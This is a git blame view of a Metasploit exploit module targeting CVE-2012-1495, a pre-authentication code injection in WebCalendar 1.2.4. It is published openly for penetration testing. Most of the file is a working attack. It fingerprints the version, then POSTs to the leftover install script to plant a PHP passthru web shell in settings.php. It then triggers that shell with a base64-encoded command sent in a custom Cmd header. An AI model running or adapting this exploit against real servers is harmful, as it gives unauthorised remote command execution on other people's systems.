Files
metasploit-gs/modules/exploits/linux/http/webcalendar_settings_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

102 lines
2.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
'Description' => %q{
2017-08-28 20:17:58 -04:00
This module exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
less. If not removed, the settings.php script meant for installation can be
update by an attacker, and then inject code in it. This allows arbitrary code
execution as www-data.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Initial discovery & PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-1495'],
['OSVDB', '81329'],
2012-05-19 02:24:29 -05:00
['EDB', '18775']
],
'Arch' => ARCH_CMD,
'Platform' => %w{ linux unix },
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
['WebCalendar 1.2.4 on Linux', {}],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-04-23',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
])
end
2013-08-30 16:28:54 -05:00
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}/login.php"
})
2013-08-30 16:28:54 -05:00
2014-01-21 17:14:55 -06:00
if res and res.body =~ /WebCalendar v1\.2\.\d/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
def exploit
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Housing php payload...")
2013-08-30 16:28:54 -05:00
# Allow commands to be passed as a header.
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
post_data = "app_settings=1"
post_data << "&form_user_inc=user.php"
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
post_data << "\n"*2
send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, 'install/index.php'),
'data' => post_data
})
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Loading our payload...")
2013-08-30 16:28:54 -05:00
# Execute our payload
send_request_raw({
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, 'includes/settings.php'),
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
2013-08-30 16:28:54 -05:00
handler
end
end